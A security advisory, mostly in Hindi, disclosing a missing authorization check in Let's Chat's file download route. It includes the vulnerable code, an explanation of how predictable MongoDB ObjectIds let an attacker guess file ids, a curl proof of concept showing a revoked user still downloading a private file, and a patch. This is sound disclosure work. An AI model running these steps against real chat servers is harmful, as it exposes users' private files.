
Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
निर्धारित CVE ID: CVE-2026-66750
GET /files/:id/:name जाँच करता है कि कॉल करने वाला लॉग इन है और फिर फ़ाइल परोसता है। यह कभी जाँच नहीं करता कि कॉल करने वाले को उस रूम को देखने की अनुमति है या नहीं जिससे फ़ाइल संबंधित है।
इसलिए कोई भी खाता उन निजी और पासवर्ड-संरक्षित रूमों के अटैचमेंट पढ़ सकता है जिनका वह सदस्य नहीं है, और जिन उपयोगकर्ताओं की किसी रूम तक पहुँच रद्द कर दी गई है, उनके पास उन सभी फ़ाइलों के लिए कार्यशील डाउनलोड लिंक बने रहते हैं जो उनकी पहुँच के दौरान अपलोड की गई थीं।
उसी कंट्रोलर में फ़ाइल सूचीबद्ध करने वाला एंडपॉइंट सदस्यता की जाँच करता है, जो डाउनलोड एंडपॉइंट में अनुपस्थित है।
रिपॉज़िटरी URL: https://github.com/sdelements/lets-chat
0.3.0 (कमिट 55e8833, 24 जनवरी 2015, "Files backend") से 0.4.8, अंतिम रिलीज़, तक असुरक्षित। कोई फिक्स्ड संस्करण मौजूद नहीं है।
निजी और पासवर्ड-संरक्षित रूम 0.4.0 में आए, इसलिए यह गोपनीयता सीमा जिसे यह पार करता है, 0.4.0 से आगे मौजूद है।
files.enable: true की आवश्यकता है, जो defaults.yml में बंद है लेकिन कई डिप्लॉयमेंट्स में चालू है, क्योंकि फ़ाइल साझाकरण एक प्रलेखित सुविधा है।
कमिट 617207f पर 0.4.8 में, और docker.io/sdelements/lets-chat:latest (0.4.7) पर पुष्टि की गई।
CWE-639: उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास। साथ ही CWE-862, अनुपस्थित प्राधिकरण।
CVSS 4.0 आधार स्कोर 5.3 (मध्यम)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
हमलावर को एक सामान्य उपयोगकर्ता खाता, HTTP पोर्ट तक नेटवर्क पहुँच, और फ़ाइल का ObjectId चाहिए। स्व-पंजीकरण डिफ़ॉल्ट रूप से सक्षम है।
व्यवहार में id कोई रहस्य नहीं है। जो कोई भी कभी रूम का सदस्य रहा है, उसके पास पहले से ही यह है, क्योंकि files:list और अपलोड पर पोस्ट किया गया upload://files/<id>/<name> संदेश दोनों इसे सौंपते हैं। पहुँच हटाने से यह अमान्य नहीं होता, और URL पर कोई समाप्ति या हस्ताक्षर नहीं है।
लक्ष्य रूम में कोई पूर्व इतिहास न रखने वाले हमलावर के लिए, id का अनुमान लगाना पड़ता है। यह एक MongoDB ObjectId है, UUID नहीं, और इसका बहुत कम हिस्सा अप्रत्याशित है:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
काउंटर को छोड़कर बाकी सब कुछ सर्वर प्रक्रिया के जीवनकाल के लिए स्थिर रहता है, और काउंटर एक एकल अनुक्रम है जिसे हर कलेक्शन साझा करता है। इसलिए जो हमलावर अपनी एक फ़ाइल अपलोड करता है, वह मशीन id, प्रक्रिया id और वर्तमान काउंटर स्थिति सीख जाता है, और किसी और द्वारा अपलोड की गई हर फ़ाइल उस अनुक्रम में थोड़ी दूरी पर होती है। sdelements/lets-chat:latest पर लगातार आठ अपलोड:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
डाउनलोड रूट requireLogin लागू करता है और कुछ और नहीं।
app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room लोड किया जाता है और फिर कभी उपयोग नहीं किया जाता।
उसी सुविधा में फ़ाइल सूचीबद्ध करने वाला पथ सदस्यता की जाँच करता है।
app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
इसलिए एप्लिकेशन के पास पहले से ही वह जाँच मौजूद है जिसकी उसे आवश्यकता है (Room.canJoin, app/models/room.js:130 पर परिभाषित); डाउनलोड रूट बस इसे कॉल नहीं करता।
इसके लिए files.enable: true और rooms.private: true आवश्यक है
(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
यही परिणाम उस खाते पर भी लागू होता है जो कभी रूम का सदस्य नहीं रहा, बशर्ते फ़ाइल id उपलब्ध हो।
निजी और पासवर्ड-संरक्षित रूमों के अटैचमेंट सर्वर पर किसी भी खाते द्वारा पढ़े जा सकते हैं जिसके पास फ़ाइल id है या जो इसे निकाल सकता है। किसी को निजी रूम से हटाने, या रूम का पासवर्ड बदलने से पहले से अपलोड की गई फ़ाइलों तक उनकी पहुँच समाप्त नहीं होती, और रूम को संग्रहीत करने से भी समाप्त नहीं होती।
रूम लोड करें और उसी जाँच का पुन: उपयोग करें जो files:list पहले से करता है। app/controllers/files.js:62 में, if (!file) गार्ड के बाद:
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
अनधिकृत id के लिए 403 के बजाय 404 लौटाना फ़ाइल के अस्तित्व की पुष्टि करने से बचाता है।